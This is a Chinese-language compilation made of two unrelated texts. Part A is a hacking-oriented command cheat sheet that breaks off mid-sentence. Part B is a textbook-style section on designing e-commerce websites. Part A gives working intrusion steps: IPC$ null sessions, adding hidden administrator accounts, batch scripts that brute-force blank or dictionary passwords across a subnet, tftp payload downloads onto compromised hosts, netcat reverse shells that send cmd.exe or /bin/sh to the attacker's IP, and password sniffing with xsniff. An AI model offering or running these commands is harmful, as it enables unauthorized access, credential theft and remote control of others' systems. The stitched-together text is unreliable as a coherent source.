A. 关于CMD的应用
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务；(如:net start telnet， net start schele)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
#2 二：
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
x 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
#3 三：
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
#4 四：
IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop 启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cp 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir 进入远程主机目录
cp 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip
#5 五：
MYSQL 命令：
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database 库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqlmp --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。
例：shutdown /r /t 0 立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程
#6 六：
Linux系统下基本命令： 要区分大小写
uname 显示版本信息（同win2K的 ver）
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件，rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录，目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）
附：批处理命令与变量
1：for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开
command_parameters：为特定命令指定参数或命令行开关
IN (set)：指在(set)中取值；DO command ：指执行command
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。
用法举例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。
#7 七：
2：if命令及变量 基本格式：
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。
例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "）
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。
例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.txt. <del test.txt.> else echo test.txt.missing ”，注意命令中的“.”
（二）系统外部命令(均需下载相关工具)：
1、瑞士军刀：nc.exe
参数说明：
-h 查看帮助信息
-d 后台模式
-e prog程序重定向，一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式，用于入站连接
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C
-n IP地址，不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出，用-vv将更详细
-w数字 timeout延时间隔
-z 将输入，输出关掉（用于扫锚时）
基本用法：
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法：
nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用：nc -l -p 本机端口
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注：
| 管道命令
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt >> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中
>与>>的区别 ">"指：覆盖；">>"指：保存到(添加到）。
如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。
#8 八：
2、扫锚工具：xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机
#9 九：
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
4、终端服务密码破解: tscrack.exe
参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接（多
B. 电子商务站点的电子商务站点的开发
(一)电子商务站点开发的组织机构企业进行电子商务站点的建设，其内部组织结构也要相应有所调整。根据上面描述的建设模式，相应的有以下几种类型。
(1)如果将站点建设和维护的工作外包出去，企业并不需要在组织结构上进行改变，只需指定专门人员负责与专业公司的协调工作。
(2)如果企业自行建设商务站点，同时企业的规模不大，维护站点的工作量不大也不复杂，那么企业可以设置网络管理员(Web Master)一职。根据加拿大酿酒业龙头企业Molson网络项目负责人的观点，网络管理员的工作权限与杂志编辑类似。网络管理员应具备如下基本素质：
① 同时处理多项任务/品牌/创新的能力
② 财务预算管理和规划能力
③ 对各种Web设计语言和工具较为熟练
④ 能与企业的信息系统相协调
⑤ 较强的设计能力
⑥ 较强的沟通能力
⑦ 良好的人际关系
(3)对于大型企业，可以设立网络资源管理部门(Web/Internet Resource Executive，简称WIRE)实现公司整体协调。美国Maloff营销战略咨询公司主席Joel Maloff认为设立WIRE作为管理公司网络资源并协调其他部门是一个有创意的观点，认为只要一开始就明确其目的、地位和职能，它可以起到协调公司发展、提高公司整体效率的作用。
当然，WIRE的合格人选要具备以下条件：
① 优秀的处理人际关系的能力
② 较广的网络和电子商务知识
③ 一定的商业知识
④ 经得起考验的项目管理和协调能力
⑤ 有效的配合高层管理阶层的工作
⑥ 能同时担任领导者和促进者两种角色
⑦ 优秀的倾听意见、吸取有用信息的能力
(二)电子商务站点的组成 企业电子商务站点一般分为主页、企业信息页面、新闻页面、产品服务页面、帮助页面、相关的虚拟社区等等。下面进行介绍并简单讨论相应的开发要点。
(1)主页
主页也称为首页，是访问者访问企业站点时浏览的第一个页面。访问者对于企业站点的第一印象就是由主页造成的，因此主页时企业的形象页面，企业必须对主页的设计给以重视。
目前，主页的设计有两种风格：导航型和内容展示型。
导航型主要是为访问者提供企业站点结构信息，按信息类型和内容的不同，将站点分为若干较大部分，如新闻页面、产品页面、参考页面等等，在主页上为它们做链接，如海尔的主页上提供海尔网上商城、海尔办公大楼、海尔销售服务系统、海尔新闻中心、海尔科技馆、海尔网上乐园六大部分的导航，其网站结构比较清晰。而8848的主页则属于内容展示型，以比较大的页面空间展示8848在线销售的产品目录，并为访问者提供直接到达目的信息的链接。这两种主页设计风格各有优点，导航型有助于为访问者提供较为简洁清晰的站点结构，同时由于页面空间较为简洁，企业可以借助图象树立企业的网上形象，传统的大企业拓展网上业务时常常选择这种风格，以便与企业以往的CIS风格紧密结合；而内容展示型显然为访问者接触所需信息提供了直接、快捷的链接方式，可以一步到位而无须层层点击，节省了访问时间，因此具有大量分散商业信息的网上拍卖、商店基本采用这种风格。
但不论这两种风格有多大的不同，一般来说，主页应包括如下内容：
① 企业名称、标志、网站图标(Logo)等CIS要素
② 企业站点的网址
③ 企业站点的导航系统
④ 企业产品和/或服务最新的信息、有关新闻
⑤ 企业的联系方式如E-mail、电话、传真等
⑥ 相关站点的链接
就主页设计的视觉效果来看，又可以分为文本型与图片型两种。文本型主要是指主要使用HTML语言编制的、通过HTML语言的标准元素达到预定效果的方式。文本型的最主要的优点是形成的页面空间不大，下载速度较快。许多访问量比较大的商务站点采用这种方式编制主页。图象型是指整个主页页面由一张或多张图片形成，通过在图片上设置热区建立链接，达到与文本型类似的效果，优点是可以显示企业站点与众不同的形象，给访问者深刻印象，缺点是占用的空间一般较文本型大，下载速度慢；要达到相同的访问速度，需要熟练的图形制作、压缩技巧。前面的例子中，8848属于文本型而海尔属于图片型。当然，这样分类的界限并不明显，文本型主页中为了达到形象生动的效果，常常插入比较小的图片；而图片型页面设计方式也主要运用在主页上，其他页面绝大多数使用文本型，毕竟，在互联网上速度是决定一切的因素！
(2)新闻页面
在新闻页面中，企业可以给予访问者有关企业的最新信息，这样的最新信息包括：
① 产品和/或服务的最新信息，如品种、价格、实现方式等等
② 新项目的进行情况
③ 企业的内部变动情况
④ 行业的最新动态
⑤ 相关行业情况
新闻页面可以作为企业的自有媒体，为企业的发展树立有利的公共形象。新闻页面也是企业站点的重要页面，同时也是站点维护和更新的关键页面。原因很简单，站点要保持吸引力，必须及时更新，作为企业发布最新信息的页面，其维护和更新的必要性更显然。
新闻页面设计的步骤是：
① 收集新闻资料
② 按新闻制作的标准编制新闻稿件
③ 将新闻稿件转换成可以用浏览器访问的形式
(3)产品和/或服务页面
这显然是企业设立电子商务站点，进行在线业务的关键所在。根据在线业务的特点，该页面一般包括如下内容：
① 产品和/或服务目录
产品和/或服务目录所要提供的信息有：规格、尺寸、性能、价格、使用说明。成功的电子商务站点可以通过各种超媒体手段提供图片、音频、视频信息，而不仅仅是产品和/或服务的报价单。
② 访问者或客户对于产品和/或服务的评价
通过互联网的超级链接特性，可以将企业为客户设立的虚拟社区中同特定产品和/或服务相关的评价链接进来，增进潜在客户的对产品和/或服务的了解和购买信心。同时可以将以往的客户信息发布在该页面。
③ 在线订购和支付
企业设计商务站点，归根到底是为了开展网上商务，因此在产品和/或服务页面提供便利、安全的在线订购、定制、支付功能，是最为关键的。各大商务站点均设置了如购物篮、购物车等形象的订购系统，方便客户选取、检查打算购买的产品和服务，并提供了货款、运费、手续费等计算功能。
④ 与产品和服务密切相关的信息
比如，海尔就在产品页面提供了产品小知识频道，并为其厨房产品专门开辟了整体厨房展示区。这样的信息，有利于增加网站的吸引力，提高站点的访问量。
企业应当根据产品和服务特性，提供特色信息。互联网时代是开放的时代，及时与客户分享企业有关产品和服务的信息，将能显着的改变企业的竞争环境。
以上是产品和/或服务页面应该提供的内容或功能。在实际设计是，企业可以根据产品和服务范围规模的大小，按不同的产品和服务类别提供由粗到细的若干层页面，逐步引导客户到达特定的产品和服务。如果企业提供多品牌产品，那么根据品牌分层设计产品页面，也是可行的。
(4)企业信息页面
在电子商务站点的主页上，通常可以发现诸如企业简介、关于我们之类的链接图标。这些图标链接的就是这里所说的企业信息页面。正如一幅着名的互联网漫画所描述的那样，来自世界各个未知角落的访问者可能不能确知企业的状况，对于企业的信任感当然也就无从谈起。在宝贵的互联网空间设立企业信息页面的目的，正是为了改善这种局面。
企业在该页面上发布的信息一般包括：
① 发展历程
② 企业大事记
③ 业务范围
④ 合作伙伴
⑤ 发展计划
此外，上市公司也许提供各种财务数据与投资控股关系，方便投资者查询，并吸引潜在的投资者。比如联想就在其站点上提供了有关该集团的、投资者可能需要了解的信息页面。
设计此类页面时，可能需要寻求数据库支持。根据访问者在客户端发出的请求，由服务器从后台数据库中自动生成。而在界面设计上，力求与访问者熟悉的电子表格形式一致，提供图文并茂的信息。
(5)帮助页面
即使设计时考虑到访问者的便利，大型的电子商务站点因其内容庞杂，访问者仍然可能迷失于信息沙漠中。因而，提供整个网点的结构图(Site Map)，帮助访问者找到沙漠中的绿洲，同样是必要的。但这仅仅是帮助页面的所应提供内容的极少部分。
帮助页面提供的信息包括：
① 网站结构图
网站结构图提供关于企业站点的简洁图示，将站点的各大主要部分的关系与链接情况展现与访问者终端上，可以使其迅速到达目的页面。
② 在线订购、定制的规则
电子商务是一种全新的商业模式。一方面，从整体上看，电子商务与传统商务的交易过程截然不同；另一方面，不同的企业都在探索电子商务具体模式，因此在各个企业站点上进行在线订购、定制的规则和程序不同，这一点在涉及不同行业时将更为明显。因此，企业有必要为其独有的在线订购、定制的规则和程序进行说明。比如酷！必得”网站上提供了依标法、集体砍价、限时抢标、逢低买进四种交易方式。初次访问该站点的访问者，不可能非常熟悉这些交易方式，因此对这些交易方式的规则和程序进行说明，显然成了该站点拓展电子商务的第一要素。
③ 在线支付的方式和具体方法
国内的网上支付正处于摸索阶段。各个电子商务站点提供的在线支付方式同样令客户眼花缭乱。如何使客户找到合适的支付方式，显然是企业职责所在。为此目的，8848提供了有关支付方式的整版帮助页面。
④ 物流配送方式
⑤ 站点内容搜索
此外，一些站点的电子商务只对注册会员进行，因此相应提供了注册的帮助。
(6)虚拟社区
提供虚拟社区，主要是为了留住访问者。通过建立访问者之间的直接的群体联系，形成虚拟社区，交流选择产品和服务的经验和网上购物体验，可以增加网站的人性化氛围，聚集人气，为站点自身的推广和电子商务的远期利益奠定基础。
虚拟社区应该提供的功能有：
① 个人电子信箱
② 电子布告栏
③ BBS自动转信
④ 在线聊天室
⑤ 在线实时通信
